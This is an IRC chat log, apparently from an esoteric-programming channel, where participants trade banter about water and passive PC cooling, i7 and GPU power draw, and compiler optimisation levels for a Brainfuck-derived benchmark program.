tons of people don't use the stock coolant :) 22:42:05 AnMaster: from the 80s? right, with the three ms 22:42:16 1 megapixel display, 1 megabyte of ram, and 1 megabit of network 22:42:18 ms? 22:42:21 ah 22:42:34 ehird: just put the computer in there 22:42:34 bsmntbombdood, and a whopping 25 MHz CPU! 22:42:41 bsmntbombdood: exactly, I don't want to do that 22:43:01 putting a reserator makes me think "well let's just put the computer there" less than a separate pump/rad 22:43:05 psychology :) 22:43:31 get a really long daughterboard for the cpu 22:43:36 n 22:43:37 o 22:43:38 and just put the cpu across the wall :P 22:43:51 bsmntbombdood, up for some compiling again? 22:43:57 sigh 22:44:17 AnMaster: buy your own i7 :) 22:44:21 ehird, I wish! 22:44:31 AnMaster: what‽ you would support EVIL MARKETING‽‽‽‽‽‽‽‽‽ 22:44:39 I am shocked, shocked 22:44:43 http://rage.kuonet.org/~anmaster/LostKng.b.c.gz 22:44:47 lostkng? 22:44:49 ehird, I wish I had that money... 22:44:49 that's no benchmark 22:44:56 even a naïve interp can start it fast 22:44:58 try mandelbrot 22:45:01 lostking _again_? 22:45:05 ehird, but I can't compile it 22:45:05 seriously 22:45:07 locally 22:45:12 GCC OOMs 22:45:15 as I said before 22:45:16 AnMaster: use clang 22:45:17 AnMaster: what flags 22:45:21 bsmntbombdood, yes my compiler is much better now 22:45:30 -!- oerjan has quit ("Good night"). 22:45:39 bsmntbombdood, -march=k8-sse3 -O2 ? 22:45:41 bsmntbombdood: -march=i7 just to make him suffer :) 22:46:18 ehird, and I pretty much hit the limit to what I can do to mandelbrot. A few more things. But that is it 22:46:28 there is no limit 22:46:37 AnMaster: it's only using a gigabyte of ram right now 22:46:44 ehird, well what I can see "AHA here we can optimise" 22:46:55 whoa, your compiler is better now 22:46:58 bsmntbombdood, oh? 22:47:01 only took 51 seconds to compile 22:47:03 -!- inurinternet has joined. 22:47:05 bsmntbombdood, nice 22:47:19 bsmntbombdood, I do polynomials now too 22:47:23 for add/set 22:47:32 huh? 22:47:37 http://filebin.ca/bztuxu/a.out 22:48:08 608K LostKing-new.O2 22:48:08 1,2M LostKing.O2 22:48:09 btw :P 22:48:17 (I renamed from a.out) 22:48:32 yeah, that's pretty good 22:48:40 bsmntbombdood: i think the best solution if it's >420w heat output is 3 reserators 22:48:47 O2? 22:48:51 could handle >600W of heat 22:49:02 ehird: that's ridiculous 22:49:04 to chain 3 22:49:07 build your own 22:49:18 bsmntbombdood: i don't want to build my own 22:49:18 a reservator is like $200 22:49:20 ehird, didn't you say 2000 W+ 22:49:23 s/+// 22:49:24 AnMaster: miscalculated 22:49:29 ehird, oh 22:49:38 bsmntbombdood: a dollar per watt 22:49:43 pretty good value ;) 22:49:59 FireFly, yes? 22:50:08 FireFly, -O2 22:50:14 as opposed to the -O3 one 22:50:24 do you want -O3 too? 22:50:31 bsmntbombdood, no need 22:51:03 bsmntbombdood, currently I have lots to do on the new polynomial code... Since lots of other passes doesn't fully understand it... 22:51:15 but this is enough to make sure that it runs 22:51:21 and isn't buggy 22:51:25 bsmntbombdood, thanks a lot 22:52:11 http://filebin.ca/wnygct/a.out -O3 22:52:28 bsmntbombdood: i'm sure that a reserator can dissipate more than 200W 22:52:43 iirc it can do most things under 300W, someone said 22:52:50 so if we say 250, 2 of them can dissipate 500W 22:52:55 which is fine for a 420W heat system 22:53:09 http://filebin.ca/euzhf/a.out -Os 22:53:13 -Os is only half a meg 22:54:05 bsmntbombdood: ha, apparently some of the best standalone radiators only do like 180-580w 22:54:07 *250 22:54:10 w/ fans 22:54:17 ehird: point a house fan at it 22:54:18 brb 22:54:19 608K LostKing-new.O2 22:54:19 612K LostKing-new.O3 22:54:19 508K LostKing-new.Os 22:54:19 1,2M LostKing.O2 22:54:19 1,2M LostKing.O3 22:54:21 back 22:54:21 bsmntbombdood, ^ 22:54:25 bsmntbombdood: no fans. at all. 22:54:30 not possible 22:54:40 the only non-passive components allowed is an HD and a pump 22:54:48 bsmntbombdood: perfectly possible 22:54:59 as long as I have a hole in the case for minimal airflow for the few minimal heat components left 22:55:08 → just take out the exhaust fan grill 22:55:09 brb 22:56:31 bsmntbombdood, you could WC cool the HD maybe 22:56:41 sure you can 22:56:43 but you shouldn't 22:56:50 bsmntbombdood, why not? 22:57:21 hdds are more than sufficiently cooled with a slow fan 22:57:36 bsmntbombdood, that isn't passive 22:57:46 neither is watercooling 22:58:01 bsmntbombdood, yes. I want heatpipes + ssd 22:58:12 TRUE passive computing 23:07:08 damn 23:07:16 1366 pins on an i7 23:07:21 wtf do you need all of those for 23:07:28 QPI iirc 23:09:17 wikipedia says that takes 84 pins 23:09:31 bsmntbombdood, memory controller too 23:09:37 on die 23:09:44 yes 23:09:49 but it needs to connect to memory 23:11:10 alright, so that's 240 * 3 23:11:22 that takes most of it then 23:11:44 then there is power, and various other things 23:15:04 -!- olsner has quit ("Leaving"). 23:15:33 -!- nooga has joined. 23:16:07 AnMaster: jag hittar en himmelsk drog 23:16:24 that's not english 23:16:26 ... 23:16:33 bsmntbombdood, it is broken Swedish 23:16:41 IF ENGLISH WAS GOOD ENOUGH FOR JESUS, IT'S GOOD ENOUGH FOR #ESOTERIC 23:16:51 GregorR, :D 23:17:17 AnMaster: smygande 23:17:20 -!- darthnuri has joined. 23:17:31 Plain English is the best language ever 23:17:42 ehird: In case you didn't notice, I made egojoust use all lengths and polarities. 23:17:46 except for that English is unplain 23:18:00 nooga, like GregorR's? 23:18:15 uhm 23:18:33 or have he stopped using the silly script? 23:18:39 I stopped :P 23:18:43 grammar fail 23:18:44 he stopped ;p 23:18:46 -!- coppro has joined. 23:18:52 -!- inurinternet has quit (Connection timed out). 23:18:57 GregorR, why? 23:19:08 AnMaster: It started bothering me at least as much as everyone else :P 23:19:15 my English is totally broken, but idc 23:19:16 hah 23:22:08 [00:16:07] AnMaster: jag hittar en himmelsk drog 23:22:15 Wouldn't that be correct swedish? 23:22:23 hittar jag ... ? 23:22:30 FireFly, well, just strange I guess 23:22:34 in that context 23:22:40 "hittade" would make more sense 23:22:41 Bork bork bork spaghetti bork bork bork. 23:22:46 wouldn't it? 23:22:57 AnMaster: it's from a song by Kent 23:22:58 ;p 23:23:03 Uh 23:23:10 Depends on the 23:23:15 the? 23:23:23 tense 23:23:25 nooga, by why? 23:23:28 who* 23:23:35 Couldn't remember the english term :P 23:23:38 Had to wiki it 23:23:52 http://www.youtube.com/watch?v=V9d3JqXr7fg that shit 23:23:56 FireFly, What is the Swedish term for it now again 23:23:58 :D 23:24:00 my brother is addicted to them 23:24:49 tempus :P 23:25:07 Time to sleep 23:25:12 -> 23:25:30 -!- FireFly has quit ("Later"). 23:26:53 AnMaster: http://www.youtube.com/watch?v=irnr0HPt5f0 this is quite nice 23:27:16 going to bed too 23:27:27 huh 23:27:31 huhu 23:27:36 it's early 23:36:50 23:17 GregorR-L: ehird: In case you didn't notice, I made egojoust use all lengths and polarities. ← yes, so I stopped working on my interp 23:37:11 22:58 AnMaster: bsmntbombdood, yes. I want heatpipes + ssd ← tnn, stfu 23:37:28 ehird, tnn? 23:37:30 ehird: Whaaaa, why? 23:37:54 GregorR-L: uh cuz yours does what mine was gonna? 23:38:05 AnMaster: zalman totally no noise 23:38:09 heatpipes + case is radiator 23:38:11 guess what? 23:38:11 Yours was going to have proper expansionlessness :P 23:38:17 it can't run a non-low-powered system 23:38:24 so stop obsessing over it 23:38:26 ehird, hm 23:38:31 ehird, still nice :) 23:38:37 no 23:38:38 not really 23:38:39 it's rubbish 23:38:49 watercooling is passive modulo pump 23:38:51 The word "rubbish" is garbage. 23:38:51 ehird, consider a recording studio 23:39:12 AnMaster: recording studio people use quiet air cooled and watercooled pcs 23:39:16 AnMaster: do you know how silent a pump is? 23:39:21 a good one 23:39:33 inaudible to the human ear from just a tiny distance away, that's how queit 23:39:36 *quiet 23:39:40 quieter than any fan 23:40:29 The pumps built into the human body are nearly silent while inhabiting that very human body. 23:40:42 (Like how useless my commentary is?) 23:40:46 ehird, what about space. 23:40:55 AnMaster: space? what? 23:40:55 you couldn't use fans there 23:41:00 oh, that space 23:41:08 AnMaster: what about it 23:41:10 so use a pump instead 23:41:17 ehird, satellites 23:41:20 so use a pump instead 23:41:24 they don't 23:41:25 but seriously, what? 23:41:37 AnMaster: space is 4 kelvin 23:41:40 they use heatpipes and pel-wahtever-elements a lot of he the time 23:41:42 good job needing cooling in that 23:41:53 you don't mean directly in space? gee, then your argument's rubbish 23:41:55 ehird, um... the sunny side gets very hot 23:42:00 ... no shit 23:42:14 ehird, so "you don't need cooling" is very wrong 23:42:23 in empty space 23:42:26 -!- Judofyr has quit (Read error: 104 (Connection reset by peer)). 23:42:39 bsmntbombdood: gtx 285 = 204W 23:42:41 ehird, vacuum is a good insulator too. 23:42:49 ehird: that's odd 23:42:51 bsmntbombdood: = 344W total w/ i7 23:43:01 well not perfect vacuum of course 23:43:02 bsmntbombdood: 2 reserators would handle that and yawn as a sideproject 23:43:48 i admit, though, that it would be nice to be able to handle a gtx 295. 23:44:10 ehird, is that nvidia or ati? 23:44:14 nvidia 23:44:16 ah 23:44:27 ati cards tend to be a little less hot iirc 23:44:28 a little 23:44:30 but, no thanks 23:44:32 ehird, I thought they called them "geforce 9000" and such iirc 23:44:34 uh 23:44:41 AnMaster: up to the 9800gtx+ 23:44:50 but their high end gaming cards are named gtx 2?? 23:45:00 gtx 260, gtx 275, gtx 285, gtx 295 23:45:02 is the current range, iirc 23:45:04 ehird, great... I remember when it was simple Geforce 3 Geforce 4a 23:45:08 s/a$/ 23:45:09 and so on 23:45:17 wait, there's also a gts 250 23:45:23 the s presumably stands for shitty 23:45:28 but they list it with the gtxes 23:46:05 bsmntbombdood: i like how this started with "stfu the reserator pwns" and is now "dude the reserator sucks diy it" 23:49:15 ? 23:49:55 bsmntbombdood: 23:49:56 19:25 ehird: http://www.zalman.co.kr/DataFile/product/RESERATOR-1-V2_01_b(0).jpg Combined pump, reservoir and... space heater. 23:49:58 19:25 bsmntbombdood: ehird: stfu, that thing's awesome 23:50:00 to 23:50:08 22:49 bsmntbombdood: build your own 23:51:03 bsmntbombdood: i have a portable radiator/space heater behind me. think i should rip out the radiator and do it ghetto-style? :D 23:52:15 yes 23:53:06 bsmntbombdood: THAT WAS A JOKE :( 23:53:14 bsmntbombdood: it probably can't even radiate much 23:53:47 bsmntbombdood: ...right? 23:53:56 dunno 23:54:08 i mean, it only has 3 heat settings. 23:58:10 just take a hose, and throw away the waste water 23:58:21 bsmntbombdood: i thought you said horse 23:58:34 bsmntbombdood: also, um, that's kind of expensive 23:58:41 i don't want to be refilling it every day :D 23:58:52 use a hose 23:59:02 it also, bsmntbombdood, begs the question of what to hose it on to. 23:59:17 a water outlet 23:59:23 lol 23:59:34 bsmntbombdood: yer joking... right? 23:59:46 ... 23:59:52 bsmntbombdood: i mean in general 23:59:55 with the whole idea of using a hose.